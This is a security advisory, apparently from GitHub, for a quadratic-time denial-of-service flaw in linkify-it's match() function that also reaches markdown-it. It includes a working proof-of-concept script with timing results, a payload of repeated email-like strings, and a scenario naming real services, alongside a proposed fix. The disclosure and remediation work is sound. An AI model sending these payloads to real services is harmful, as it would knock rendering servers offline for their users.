CVE-2026-48801

ADVISORY - github

Summary

Summary

LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

  • HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0)
  • Vulnerable function: LinkifyIt.prototype.matchindex.mjs:528-554
  • Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match)
  • Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rules_core/linkify.mjs:57 when linkify:true
  • All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

LinkifyIt.prototype.match = function match (text) {
  const result = []
  let shift = 0
  let tail = shift ? text.slice(shift) : text

  while (this.test(tail)) {
    result.push(createMatch(this, shift))
    tail = tail.slice(this.__last_index__)   // <-- re-allocates remaining tail each iteration
    shift += this.__last_index__
  }

  if (result.length) return result
  return null
}

The loop iterates O(N) times (once per match). Each iteration:

  1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration
  2. this.test(tail) runs three unanchored regex searches over the full new tail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = 'a@b.com\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

npm install markdown-it@14.1.1
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = 'a@b.com '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"
n=1000 bytes=8000   md.render=45ms
n=2000 bytes=16000  md.render=171ms
n=4000 bytes=32000  md.render=672ms
n=8000 bytes=64000  md.render=2636ms

Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().

Impact

  • Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
  • No confidentiality or integrity impact.

Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.

Suggested remediation

The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:

  1. Add the g flag to email_fuzzy, link_fuzzy, link_no_ip_fuzzy, host_fuzzy_test in lib/re.mjs
  2. Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail
  3. In match(), drop tail = tail.slice(...) entirely — advance a pos offset instead

The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.

// proposed sketch
LinkifyIt.prototype.match = function match (text) {
  const result = []
  let pos = 0
  while (this.testAt(text, pos)) {
    result.push(createMatch(this, 0))
    pos = this.__last_index__
  }
  return result.length ? result : null
}

Total cost becomes O(N): each character scanned at most once per regex across the whole loop.

Duplicate-risk analysis

  • Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories[])
  • Zero OSV entries (api.osv.dev/v1/query{})
  • markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline

This finding appears novel.

Note to maintainers

Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.

Common Weakness Enumeration (CWE)

ADVISORY - github

Inefficient Regular Expression Complexity


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.7high
PackageTypeOS NameOS VersionAffected RangesFix Versions
linkify-itnpm--<=5.0.05.0.1

CVSS:4 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.

The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.

There is no loss of confidentiality within the Vulnerable System.

There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.

There is no loss of integrity within the Vulnerable System.

There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.